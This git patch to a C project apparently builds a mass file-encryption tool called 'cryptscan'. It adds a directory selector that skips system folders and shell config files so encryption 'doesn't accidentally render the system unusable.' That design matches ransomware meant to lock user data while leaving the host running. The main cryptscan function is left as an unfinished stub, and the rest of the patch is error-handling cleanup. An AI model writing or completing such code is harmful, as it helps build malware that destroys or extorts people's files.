From 9bf40160e911dd6c2affa856c375193ae0579947 Mon Sep 17 00:00:00 2001
From: "@syxhe" <https://t.me/syxhe>
Date: Sat, 27 Dec 2025 23:10:06 -0600
Subject: Start working on cryptscan again

---
 src/encryption.c | 35 ++++++++++++++++++++++-------------
 src/shared.c     |  7 +++++--
 src/tests.c      | 11 +++++++++++
 3 files changed, 38 insertions(+), 15 deletions(-)

diff --git a/src/encryption.c b/src/encryption.c
index 9b264dc..e304e6e 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -287,9 +287,9 @@ int encryptviatmp(const char * const target, const char * const output, const un
     res = 0;
 
 CLEANUP_encryptviatmp:
-    // TODO: Add warning messages for verbose errors
     if(___VXGG___VERBOSE_ERRORS___) {
         switch (eflag) {
+            case 0: break;
             case 1: WARN(errno, "<encryptviatmp> Warning: Could not open target fd \"%s\"",, target);
             case 2: WARN(errno, "<encryptviatmp> Warning: Could not get real dirname for \"%s\"",, output);
             case 3: WARN(errno, "<encryptviatmp> Warning: Could not make temp file in target dir \"%s\"",, targetdir);
@@ -297,10 +297,10 @@ CLEANUP_encryptviatmp:
             case 5: WARN(errno, "<encryptviatmp> Warning: Could not get FILE* handle for output file",);
             case 6: ERROR(1, ENOTRECOVERABLE, "<encryptviatmp> ERROR: I don't even have a way to cause an error here. How did you do it?",);
             case 7: WARN(errno, "<encryptviatmp> Warning: Could not link \"%s\" into system after encryption",, output);
+            default: WARN(0, "<encryptviatmp> Warning: Ran into some unknown error",);
         }
     }
 
-
     free(targetdir);
     fclose(src);
     fclose(dst);
@@ -436,21 +436,30 @@ int genpassword(char **str, unsigned int words) {
 // fast, but I can also just reuse code I've already written and not make some absolute spaghetti mess trying to do everything
 // linearly
 
-int __cscan_worker(void *data) {
-    if(!data) return -1;
+/// Directory entries (files and folders) to exclude from encryption
+#define EXCLUDED_ENTRIES ((const char* const []){\
+    /* Entries found in /home/<user> */ \
+    ".config", ".bashrc", \
+    /* Entries included for extra safety, so that the encryption doesn't accidentally render the system unusable */ \
+    "bin", "dev", "lib", "root", "boot", "etc", "lib32", "run", "sys", "usr", "home", "lib64", "proc", "sbin", "var"\
+})
 
-    return 0;
-}
+/// Helper function to select files to be encrypted
+static int _cryptscan__selector(const struct dirent *de) {
+    // entries with non-zero returns get included, zeros get excluded
+    if(!de) return 0;
 
-ctqueue * cryptscan() {
-    ctqueue *res = ctqueue_init(TPSIZE), *working = ctqueue_init(TPSIZE);
-    if(!res || !working) ERRRET(errno, NULL);
+    for(int i = 0; i < STATIC_ARRAY_LEN(EXCLUDED_ENTRIES); i++) {
+        if(strncmp(de->d_name, EXCLUDED_ENTRIES[i], sizeof(de->d_name)) == 0)
+            return 0;
+    }
+
+    return 1;
+}
 
-    task *start = task_new(__cscan_worker, free, NULL);
-    if(!start) ERRRET(errno, NULL);
-    ctqueue_waitpush(working, start);
+ctqueue * cryptscan(int threads, const char * const start) {
+    if(!start || threads < 1) return NULL;
 
-    return res;
 }
 
 #endif
\ No newline at end of file
diff --git a/src/shared.c b/src/shared.c
index b6d27e4..1dd0309 100644
--- a/src/shared.c
+++ b/src/shared.c
@@ -29,8 +29,10 @@
 
 //! Macro to exit on an alloc error instead of doing the terrible nested if statement that was being used previously
 #define XALLOC_EXIT(msg, ...) do { \
-    if(___VXGG___VERBOSE_ERRORS___) error(EXIT_FAILURE, errno, (msg)__VA_ARGS__); \
-    if(___VXGG___VXALLOC_EXIT_ON_ERROR___) exit(EXIT_FAILURE); \
+    if(___VXGG___VXALLOC_EXIT_ON_ERROR___) { \
+        if(___VXGG___VERBOSE_ERRORS___) error(EXIT_FAILURE, errno, (msg)__VA_ARGS__); \
+        exit(EXIT_FAILURE); \
+    } \
     abort(); \
 } while (0)
 
@@ -102,6 +104,7 @@ int rwbuf(char **str, unsigned long int initsize, int fd) {
 ERR_rwbuf:
     if(___VXGG___VERBOSE_ERRORS___) {
         switch (eflag) {
+            case 0: break;
             case 1: WARN(errno, "Could not reallocate enough space for lstr",); break;
             case 2: WARN(errno, "Ran into a read() error",);                    break;
             case 3: WARN(errno, "Could not shrink lstr after reading buffer",); break;
diff --git a/src/tests.c b/src/tests.c
index a7531e8..251a580 100644
--- a/src/tests.c
+++ b/src/tests.c
@@ -1,3 +1,14 @@
+/**
+ * @file tests.c
+ * @author syxhe (https://t.me/syxhe)
+ * @brief A set of unit tests
+ * @version 0.1
+ * @date 2025-11-10
+ *
+ * @copyright Copyright (c) 2025
+ *
+ */
+
 #define _GNU_SOURCE 1
 
 #include "shared.c"
-- 
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